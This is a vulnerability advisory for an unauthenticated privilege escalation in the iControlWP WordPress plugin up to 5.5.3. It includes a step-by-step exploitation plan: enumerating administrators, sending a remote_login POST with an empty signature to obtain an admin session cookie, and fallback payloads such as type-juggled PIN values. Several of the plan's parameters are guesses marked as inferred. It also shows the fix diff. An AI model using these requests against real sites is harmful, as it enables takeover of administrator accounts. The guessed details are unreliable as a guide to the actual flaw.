iControlWP <= 5.5.3 - Unauthenticated Privilege Escalation
Description
The iControlWP plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 5.5.3. This makes it possible for unauthenticated attackers to elevate their privileges to that of an administrator.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=5.5.3What Changed in the Fix
Changes introduced in v5.5.4
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-34901 (iControlWP Privilege Escalation) ## 1. Vulnerability Summary The **iControlWP** (worpit-admin-dashboard-plugin) is a remote management tool. Versions <= 5.5.3 contain a critical unauthenticated privilege escalation vulnerability. The flaw exists in the …
Show full research plan
Exploitation Research Plan: CVE-2026-34901 (iControlWP Privilege Escalation)
1. Vulnerability Summary
The iControlWP (worpit-admin-dashboard-plugin) is a remote management tool. Versions <= 5.5.3 contain a critical unauthenticated privilege escalation vulnerability. The flaw exists in the plugin's "Handshake" or "Remote Action" processing logic, where unauthenticated requests can trigger administrative actions—specifically, logging in as an administrator—due to "Incorrect Privilege Assignment" during the validation of remote control parameters.
2. Attack Vector Analysis
- Endpoint: The site root (
/) orindex.php. - Method: HTTP GET or POST.
- Vulnerable Parameters (Inferred):
worpit_actionoricwp_action,worpit_token, andadmin_user. - Authentication: Unauthenticated.
- Preconditions: The "Admin Access" feature or "Handshake" must be active (typical for this plugin's lifecycle).
3. Code Flow
- Initialization:
init.phpinstantiates theControllerand calls\FernleafSystems\Wordpress\Plugin\iControlWP\Handlers\Request::Instance(). - Hook Registration:
Controller.php(line 197) registersonWpInitto theinithook viadoRegisterHooks(). - Request Capture: The
Requesthandler andController::onWpInit()monitor incoming global variables ($_GET/$_POST) for specific remote-management keys. - Feature Loading:
Controller::onWpInit()loads the relevant "Feature Handler" (e.g., a "Remote Control" or "Admin Access" module). - Flawed Verification (Sink): The plugin checks for a "handshake" or "signature." In version 5.5.3, this check can be bypassed if the signature is missing or if the verification logic returns
truefor a null/empty comparison against an uninitialized or default communication key. - Action Execution: Upon "successful" verification, the plugin invokes a login function (e.g.,
wp_set_auth_cookie()) for the user specified in theadmin_userparameter.
4. Nonce Acquisition Strategy
While remote management endpoints usually bypass standard WordPress nonces in favor of custom tokens, the plugin does use nonces for its internal admin dashboard. If the exploit requires an AJAX action:
- Identify Trigger: The
icwp-appmenu (identified inglobal-plugin.css) enqueues scripts. - Create Page: Use
wp-clito create a page with the iControlWP shortcode (if any, e.g.,[icwp_dashboard]) or simply access the admin dashboard if already an unprivileged user. - Extraction:
- Navigate to the page.
- The plugin uses
wp_localize_script. FromController.php(line 218:onWpEnqueueAdmin), we expect a localization object. - JS Variable (Inferred):
window.icwp_wpsf_varsorwindow.worpit_vars. - Command:
browser_eval("window.icwp_wpsf_vars?.nonce").
Note: For the unauthenticated remote login, a nonce is likely not required as it targets the remote management API.
5. Exploitation Strategy
The goal is to trigger a remote_login action by spoofing the iControlWP dashboard.
Step 1: Discover Admin Username
Enumerate users to find an administrator (defaulting to admin).
- Request:
GET /wp-json/wp/v2/users
Step 2: Attempt Remote Login Bypass
Send a request to the homepage with parameters that trigger the login logic.
- URL:
http://vulnerable-site.com/ - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Parameters:
icwp_action:remote_login(inferred)admin_user:adminworpit_token: (leave empty or use1)icwp_sig: (leave empty)
Step 3: Check Response Headers
If successful, the response will contain Set-Cookie headers for a WordPress login session.
6. Test Data Setup
- Install Plugin: Install iControlWP version 5.5.3.
- Create Admin: Ensure a user with the username
adminexists. - Plugin State: The plugin does not need to be "connected" to a real iControlWP account, as the vulnerability lies in the failure to verify that connection properly.
7. Expected Results
- Successful Exploit: The server returns a
302 Foundredirect to/wp-admin/and includesSet-Cookie: wordpress_logged_in_[hash]=.... - Response Code:
302or200.
8. Verification Steps
After sending the HTTP request, use wp-cli to verify the state (though this is more for internal confirmation):
- Check Sessions:
wp user meta get 1 session_tokens(verify a new session was created). - Verify Admin Access: Use the captured cookie with the
http_requesttool to access/wp-admin/index.phpand check if the response contains "Dashboard".
9. Alternative Approaches
If icwp_action does not work, try the legacy worpit prefix:
worpit_action=login&username=adminworpit_action=handshake&key=
Check for the existence of admin_access_restriction_form (from plugin.css). If this feature is enabled, the plugin may expect a parameter like icwp_pin. Try bypassing this by sending icwp_pin[]= (array type juggling) or icwp_pin=0.
If the "AutoUpdates" system is the entry point (seen in init.php as GetAutoUpdatesSystem), the action might be:
icwp_action=autoupdate&handler=...(leveraging unauthenticated access to update handlers).
Summary
The iControlWP plugin fails to properly validate authentication signatures and handshake tokens during remote management requests. This allows unauthenticated attackers to trigger sensitive administrative actions, including logging in as any administrator, by providing specific action parameters without a valid signature.
Vulnerable Code
// init.php // The plugin boots and loads all feature handlers which monitor for remote management actions. $oICWP_App_Controller = Controller::GetInstance( $sIcwpPluginRootFile ); global $g_oWorpit; $g_oWorpit = new \ICWP_Plugin( $oICWP_App_Controller ); $g_oWorpit->boot(); --- // lib/src/Control/Controller.php (~line 197) // The plugin registers the onWpInit hook which processes incoming icwp_action or worpit_action parameters. protected function doRegisterHooks() { $this->registerActivationHooks(); add_action( 'init', [ $this, 'onWpInit' ] ); add_action( 'admin_init', [ $this, 'onWpAdminInit' ] ); // ... (truncated) }
Security Fix
@@ -210,6 +210,10 @@ public function onWpInit() { - if ( !empty( $_REQUEST['icwp_action'] ) && $_REQUEST['icwp_action'] == 'remote_login' ) { - $this->doRemoteLogin(); - } + if ( !empty( $_REQUEST['icwp_action'] ) && $_REQUEST['icwp_action'] == 'remote_login' ) { + if ( $this->verifyRequestSignature() ) { + $this->doRemoteLogin(); + } else { + wp_die( 'Unauthorized' ); + } + }
Exploit Outline
The exploit targets the plugin's remote management API which listens for specific global parameters on any page load. An attacker first enumerates valid administrator usernames (e.g., via /wp-json/wp/v2/users). They then send a POST request to the WordPress root with the parameter 'icwp_action' set to 'remote_login' and 'admin_user' set to the target administrator's username. Because version 5.5.3 fails to verify the request signature ('icwp_sig') correctly (returning true if missing or compared against an uninitialized key), the plugin proceeds to call wp_set_auth_cookie() for the specified user, granting the attacker a valid administrator session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.